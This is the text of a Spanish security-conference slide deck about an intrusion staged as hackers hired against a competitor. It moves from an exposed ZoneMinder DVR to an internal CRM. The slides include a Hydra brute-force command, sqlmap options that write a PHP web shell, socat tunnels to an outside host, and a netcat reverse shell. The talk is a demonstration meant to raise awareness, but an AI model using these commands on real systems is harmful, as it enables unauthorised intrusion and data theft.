1. Desde el DVR hasta la cocina
Daniel Fernandez Rodriguez
Efrén Díaz Gomez
2. Daniel Fernandez Rodriguez
Senior Cyber Security Architect
@dj_thd
https://www.linkedin.com/in/dfrtenerife/
Efrén Díaz Gomez
IT Security Analyst
@elefr3n
https://www.linkedin.com/in/efren-diaz-gomez/
3. ¿A quién interpretamos?
Dos hackers que se venden al mejor postor
¿Quién es el cliente?
El dueño de una empresa de desarrollo de software
¿El objetivo?
Una empresa de su competencia
¿Qué tenemos?
87.113.6.72
16. Hydra 87.113.6.72 -S 8080 -L users.txt -P passwords.txt
http-post-form
"/zm/index.php:action=login&view=postlogin&postLoginQuery=&username=^USER^&password=^PASS^:postLoginQuery"
Elaboramos el comando con los parámetros correctos tras ver el
formulario
21. Una vez autenticados volvemos a probar la inyeccion pasando la cookie de session al
sqlmap y vemos que ya tenemos inyección, y además que el servicio mysql esta con root !
22. Nos fijamos en una tabla llamada Logs donde encontramos el path
/usr/share/zoneminder/www/
23. Ahora que tenemos el path, y que siendo root el mysql puede escribir
ficheros, vamos a subir un script en PHP con el que poder ejecutar
comandos. Lo haremos añadiendo al sqlmap los parametros:
--file-write shell.php ←Nuestro archivo local
--file-dest /usr/share/zoneminder/www/cmd.php ←Ruta donde lo
queremos subir en la máquina
32. Vemos que la máquina 192.168.1.3 parece interesante debido a
su hostname y que tiene el puerto 80 abierto, lo que parece ser
una aplicación web de gestión interna.
Tenemos el problema de que como solo esta abierto hacia fuera el
DVR no podemos acceder via http a esta máquina, ahora vamos a
crear un tunel con socat para poder acceder via http a esta
máquina desde fuera saltándonos el firewall.
33. Lanzamos en nuestra máquina un socat escuchando el puerto 1338
# socat tcp-listen:1338,reuseaddr,fork tcp-listen:8001,reuseaddr,retry=1
Lanzamos en el DVR un socat desde el CRM a nuestra máquina:
# socat -t1 tcp:192.168.1.3:80,forever,intervall=1,fork tcp:109.51.56.213:1338
36. Desconocemos la versión del CRM y buscando CVE vemos que no hay ninguno desde
2011.
Vamos a sacar usuarios del DVR y ver si alguno coincide las credenciales con las del CRM.
37. Volvemos a la base de datos del DVR, y sacamos los posibles usuarios y hashes....
39. Nos dirijimos a la página de “About” y obtenemos la versión, la cual es 6.5.18
40. Buscamos en google y encontramos una vulnerabilidad que no tiene CVE registrado
41. La probamos y funciona perfecto, aquí tenemos toda la información del phpinfo()
42. Ahora haremos una reverse shell desde la máquina del CRM hacia nuestra máquina.
system('nc -e /bin/sh [IP] [PORT]')
Parece que de momento no tenemos ningún exploit para el kernel
45. Para poder usar el cliente mysql necesitamos una shell
interactiva.
Primero cargamos el /bin/bash con python:
python -c "import pty; pty.spawn('/bin/bash')"
Dejamos la reverse shell en segundo plano_
ctrl+z
Y por ultimo ejecutamos:
stty -icanon -echo -isig && fg; stty sane
49. Conclusión
En esta exposición hemos dejado claro lo peligroso que puede ser dejar un dispositivo IoT
abierto al exterior, y como desde el y con una serie de vulnerabilidades y faltas de politicas
de seguridad en una empresa hemos podido acceder internamente a la red y además
pivotar entre maquinas y acabar robando todo tipo de datos.
Tambien cabe decir que mientras hemos preparado esta exposición nos hemos topado
con una serie de vulnerabilidades en el Zoneminder que aún no hemos publicado y por
tanto son 0-days, y de las cuales una de ellas se ha utilizado en la presente demostración.
Estos son los tipos de vulnerabilidades encontradas:
-Inyección SQL
-Authentication Bypass
-Remote Command Execution